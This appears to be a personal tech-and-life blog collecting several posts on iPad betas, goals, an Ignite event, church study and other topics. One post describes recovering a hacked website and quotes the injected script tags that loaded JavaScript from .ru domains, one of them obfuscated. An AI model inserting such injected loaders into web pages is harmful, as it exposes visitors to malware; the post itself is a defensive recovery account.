On Learning…
Over the past few months I did a little bit of iPhone programming at work, and being such a novice in the area of Cocoa programming, I looked around for a more focused selection of podcasts to listen to during my long commute. I came across the Build & Analyze podcast over at 5By5, which is hosted by Dan Benjamin, but the majority of it is Marco Arment spewing his thoughts about iOS programming, coffee, and life in general.
As I listen to each episode, I’m figuring out that in a lot of ways, Marco thinks a lot like I do (or at least how I want to think). I may banter about more of his thoughts in future posts, but for now, I couldn’t agree more with his stance on learning and putting yourself in challenging situations in the Desk and Balls episode. When he was coming out of college, he talked about how he thought he knew everything, but his first job quickly showed him that this wasn’t true. That moment for me, however, was when I got to college, and Georgia Tech showed me that I didn’t know anything (and I didn’t know how to learn, either). Fortunately, I eventually learned how to learn by the time I graduated, which is what college is really all about.
Marco goes on to say that his first job kicked him in the butt, and he was surrounded by people that were so much smarter than him. He was able to learn and absorb all kinds of knowledge and techniques about writing code that he didn’t already know. I love this mentality. While my job probably isn’t as challenging to me as Marco’s first job was for him, it’s still a challenge and I learn new things every day, and I am surrounded by a lot of people that are a lot smarter than me. Also, this concept is one reason I attend CocoaHeads and read blogs about programming that are way over my head, because being around those people and thoughts grows my own understanding of the Cocoa programming world.
Unrelated to careers and programming, though, I recently had an experience that kicked me in the butt, but it forced me to learn. My church small group leader asked me to lead a discussion on Galatians 3 and 4. I’ve been a Christian for a long time, and I’m familiar with Galatians, but I don’t think I’ve ever read through those chapters to really study them (except for when I read through the Bible in high school, which was way too long ago to count). It was essentially all new material to me, other than the premise that we are saved by faith and not by works. Studying Galatians with the mindset of leading a discussion on it forced me into a very uncomfortable position, but in the end, I learned a lot about these two short chapters and how they related to the rest of the Bible. The people in our small group are way smarter than me, which put a lot pressure on me, but in the end, I really enjoyed my preparation time, and we all had a good time discussing our perspectives on these chapters. I hope to keep studying the scriptures on my own in a similar way.
What challenging situation have you been in lately?
Digital Retina Exam
I recently got my eyes checked so that I could get new specs. This practice was pretty cool for a couple of reasons. They are open late on some weekdays to accommodate more people who don’t want to take sick leave from work, which is something I think a lot of doctors should consider doing (as well as closing on a week day and opening on Saturdays). This eye doctor also used an iMac outfitted with a custom eye chart app. He wouldn’t tell me any details about it when I asked, so maybe it’s some proprietary thing.
The coolest thing this eye doctor did, though, was give me a digital retina exam, where he put a camera really close to my pupil and took a photograph of my retina. The pictures are so cool I thought I’d share them here. I think the first photo is my left retina and the second is my right retina, but I could have them backwards.
Goals for 2011
I decided I should make a list of pseudo-resolutions for myself for 2011. Life has changed a lot recently (for the better, by far), and I need to focus on doing fewer things better. By posting the list to this blog, hopefully that can help me hold myself accountable. I’m open for other suggestions/modifications, too.
Update: The ones I have already accomplished are struck through
Travel to two or more states I’ve never been to
Build a useful iPhone app
Read at least one book a month (audio or non-audio)
Build a clock
Read the Bible through (Daily Walk magazine)
Skydive
Sell a house (in Dacula) and buy a different house closer to the city
Run more (10 miles a week?)
Gain 10 pounds (in muscle only)
Get Vanguard Roth IRA set up
Get a will set up
Discover a new restaurant once a month for date-nights
I Just Saved Blue Like Jazz

Ok, I didn’t save Blue Like Jazz, but I helped out a little bit. In short, a friend of mine, Zach Prichard (actually, he’s one of my brother’s former roommates), and a friend of his recently read on Donald Miller’s blog that lack of funding had cancelled production on a film version of the book Blue Like Jazz. They pulled some all-nighters and put together an awesome campaign on Kickstarter to raise funds. This book is one of my favorites, and I would absolutely love to see a movie version of it. If you haven’t read it, borrow a friend’s copy or get it from somewhere like Amazon.
If you’re interested in helping to save Blue Like Jazz too, then check out the following video, or read all about it at savebluelikejazz.com or check out the Kickstarter page.
Save Blue Like Jazz from Save Blue Like Jazz on Vimeo.
I have been enjoying the beta of iOS 4.2 on my iPad for a while. Ever since the audio jack on my 2nd generation iPod Touch went bad, I have been using my Droid Incredible to listen to Audible audiobooks and I’ve been using my iPad as a (very large) iPod in my car to listen to podcasts.
This iPad as an iPod idea works great until someone tries to call me while I’m driving down the road. I’ve learned to keep my phone in the center compartment so it’s easy to grab in this situation. However, the process goes something like this:
• Hear phone ringing
• Slide to Unlock the iPad and then enter the passcode
• Touch the screen once (because the iPod app is retarded and doesn’t show the Play/Pause buttons by default
• Find the Play/Pause button and press it
• Answer phone
Here’s the process in pictures:
- iPad screen after pressing Home once
- iPad screen after Sliding to Unlock
- iPad screen after unlocking and then touching the screen once
With the iOS 4.2 Beta, Apple has made this process a lot easier with multi-tasking, as I just discovered the other day. With multi-tasking, I can press the Home key once to turn the screen on, then double-tap the Home button to make the Play/Pause and Back/Forward buttons appear, as shown below:
This is all well and good, but I think they need to take it a step further. When I’m in my car, I don’t need to have to look at the screen to find the Play/Pause button. It’s easy to accidentally hit the Previous Track or Next Track buttons, and that can really disrupt things. I think the Play/Pause button should be in the middle of the screen and it should be HUGE. I need to be able to press it with my whole fist if I wanted to. So I threw together a mockup. (Please forgive my design skills, I didn’t want to spend hours on this post just making the picture look good).
So Long, Clear WiMax…
I shipped my Clear WiMax devices back to Clear today. It was fun while it lasted. See my previous post about my experiences with them. Overall I say that Clear is great, except you start to feel its slowness when you want to download anything more than a small file, and you also feel it when you need to upload anything. VoIP works, and video chat works decently.
My final comment about Clear, and then I’ll probably never mention it again on this blog… When you sign up for a 2-year contract to lease the equipment, it truly is a 2-year contract. I tried explaining to them that I was getting married and moving to a location where there is absolutely no Clear service, but I still had to pay the termination fee. Seems kind of silly to me, but I just had to suck it up and pay the $80.
So long, Clear WiMax. I’ll miss you, but I’m looking forward to my speedy Comcast connection.
iPad iOS 4.2 Beta – First Impressions
I’ve been playing around with the new iPad beta of iOS 4.2 a little bit today, and thought I’d share my first impressions really quick on some of the new features (and bugs).
• Folders
I already knew this was what i was most looking forward to, because i had about 3.5 pages of apps on my iPad, and I have already enjoyed the benefits of folders on my iPod touch running the iOS 4.0 beta. Now i have everything on one (yes, one!!) page (note: you see 2 pages in the screenshot, I just didn’t take the time to file away the WordPress app that I just downloaded to the iPad to write this post). This is killer, and it’ll save me a lot of navigation time.
• Multi-Tasking
This feature is huge. When i first heard about it, i thought it was just going to be a nice feature, it is quickly becoming my favorite feature. I don’t care so much that things are running in the background, but i do benefit from being able to double-tap the home button and see my running apps at the bottom. It saves time because i don’t have to hunt for the app i want to switch to, much like folders save time.
• Orientation lock and Brightness slider
Apple converted the orientation lock switch on the side of the iPad to a mute switch. What was so hard about just holding down the Volume Down button?! Now the orientation lock button requires double-tapping the home key (a la app-switching) and then swiping the app switcher to the right, then hitting the orientation lock button. Really stupid. However, they have also put a brightness slider on that same “taskbar”, which is really convenient because i don’t have to navigate out to the Settings and then drill to the brightness settings. Again, it’s all about saving time and keystrokes. Apple should let me choose how i want the physical, former orientation lock on the side of the ipad to behave – Mute OR Orientation Lock!
• WiFi
I know this is a beta operating system, but there are some serious bugs with the wifi aspect of iOS 4.2. I tried joining multiple networks and the whole Settings interface would just freeze until I exited to the home screen. Eventually I was able to connect by simply continuing to type in the WPA keys, but this is something that will definitely need to be fixed before primetime.
• Final Note – I downloaded the WordPress app to write this post, and for the most part it worked okay. I had to go back in and edit the post with my laptop, though, because the iPad app doesn’t insert pictures properly. It just adds them all to the end of the post. I guess in some cases this is acceptable, but most of the time it will require more than just the iPad to write a post (if the post contains extra media types).
It’s not every day that you get an email from Google, saying they blocked your domain:
We recently discovered that some of your pages can cause users to be infected with malicious software. We have begun showing a warning page to users who visit these pages by clicking a search result on Google.com.
At first I thought it was spam in my inbox, since the subject was “malware notification regarding awakeimages.com”. A couple days later, though, I visited my site, www.awakeimages.com, and found this shocker instead of my homepage:

I knew I hadn’t touched my website in about a week, and it was working just fine at that point. After a quick search, I realized that email from Google wasn’t spam, and I needed to take some action because all of our customers were seeing this error, and that’s certainly not good for business. Apparently the mainstream browsers use Google’s malware crawler as a filter against infectious sites, and once you’re on that list, you have to proactively get yourself off, much like being on an email spam blacklist.
I had to sign up for Google’s Webmaster Tools (www.google.com/webmasters/tools) and insert some code into my website’s header file to confirm I was the owner, and only then would Google’s malware tools let me see what exactly was wrong with my site. Apparently they had crawled my site and found the following lines of code at the bottom of several of my pages:
<script type=”text/javascript” src=”http://shirtdifficulty.ru/Kibibyte.js”></script>
<!–57acedb95b1fef6e2c6f5a33dd0d5f44–>
and
<script type=”text/javascript” src=”http://chickcase.ru/Raw_Data.js”></script>
<!–036cf591298bf5168728869b44aeade0–>
Sometimes the hackers got more sneaky with it and put this line into the code:
document.write(‘<sc’+'ript type=”text/javascript” src=”http://pocketbloke.ru/
Template.js”></scri’+'pt>’);
I found this great post by Nate Stiller, and it turns out this is a vulnerability with FileZilla, which I use on my work computer because basically all Windows FTP clients suck (shout out to Panic‘s Tansmit FTP app!). Nate has written a script that will go through your entire website and detect instances of these malware sites. Not that I don’t trust Nate, but I just don’t like the idea of running a script that parses for a substring in every file on my server, but from the comments it seems that his script is quite successful. I personally had my hosting provider give me a list of all files with links to a .ru domain name, and I cleaned up each file they found.
The hackers also broke into my paulbrown.us domain and trashed the wordpress files (among others), so I chose to use this as an opportunity to upgrade to the latest version of WordPress, in the meantime wiping out all the corrupted files :-). Worked like a charm.
Lessons learned here:
- backup your server frequently so you have something to go back to
- don’t use FileZilla (I’m still looking for a good Windows FTP client)
- use secure FTP accounts on your server
Pretty basic stuff, but it’s worth mentioning. Hopefully this post will help anyone who encounters this problem and finds this page.
(ADDED ON 8/26) I should probably also add that it’s a pretty good idea to do a full virus scan on your computer if you find yourself in this situation. A local virus/trojan is very likely what “stole” the passwords out of FileZilla.
Ignite Atlanta 2 quick wrap-up – 4/19/10
Ignite Atlanta 2 was held at the Georgia Aquarium Oceans Ballroom last night, and it turned out to be mildly entertaining. If you’re not familiar with Ignite, it is basically an event where presenters talk about stuff they are passionate about, and their 20 slides are automatically advanced every 20 seconds.
First, I’ll mention the negative stuff. The backnoise channel, in all its snarkiness, never fails to bring the cold hard truth, and that is that the event simply had too many sales pitches for people’s companies or products. Some of the comments left on the Meetup page sum it up the best, though.
Ignite Events are supposed to be passion- or knowledge-transfers, and while last night’s event definitely transfered some passion and knowledge, the company names could have been left out or minimized some. For example, the Happy Septic Tank guy could have easily spent time talking about septic tanks and why bacteria is necessary to make a septic tank function properly, but half of his slides were about how he marketed his product to Walmart, Lowes, and Home Depot. Several slides showed actual ads he used.
Many other presenters had a similar pitchy tone, but I won’t belabor the point. My advice to anyone presenting on a topic where they feel tempted to pitch their product would be this: talk about your industry and technology. Don’t even mention your product name, and ONLY put your twitter address, or maybe your website address, on the last slide of your presentation.
Despite the complaints above, there were some great presentations. My favorite was Creighton Holt’s talk on the F-35 Joint Strike Fighter, where we learned that fighter jets are “really cool”. He showed some great pictures of the cockpit and talked about the controls of the jet. Jiten Chhabra also had an informative and funny presentation on the problem of obesity. Among the other highlights of the night were Matt Smith talking about Hackintoshing (his slides are here), Karen MacKay talking about vertical gardening in urban areas, and Christine Penguino talking about exploiting the super powers of babies.
Overall it was a fun night, and it was about what I expected. The Georgia Aquarium ballroom was a great facility, but it was a little cramped with most of us having laptops out. Also, it can’t be repeated enough, that whenever you have a bunch of geeks at an event, the facility needs to plan for every single person having at least one device connected to the wifi. I will keep my eyes out for future Ignite ATL events, and I might even seek out some of the events in other cities in the future. Thanks to Patrick Nickles for putting on a fun event. If I find more links to any of the presentations mentioned above, I’ll update this post.
2010: Products I can’t live without
This list was inspired by Kevin Rose’s post about products he couldn’t live without. So here are my products that I cannot live without in the year 2010, in no particular order (ok, maybe I could live without them, but they sure do make life easier/cooler):
Clearly a lot of these are luxuries, but I use all of them a lot. Did I miss any?















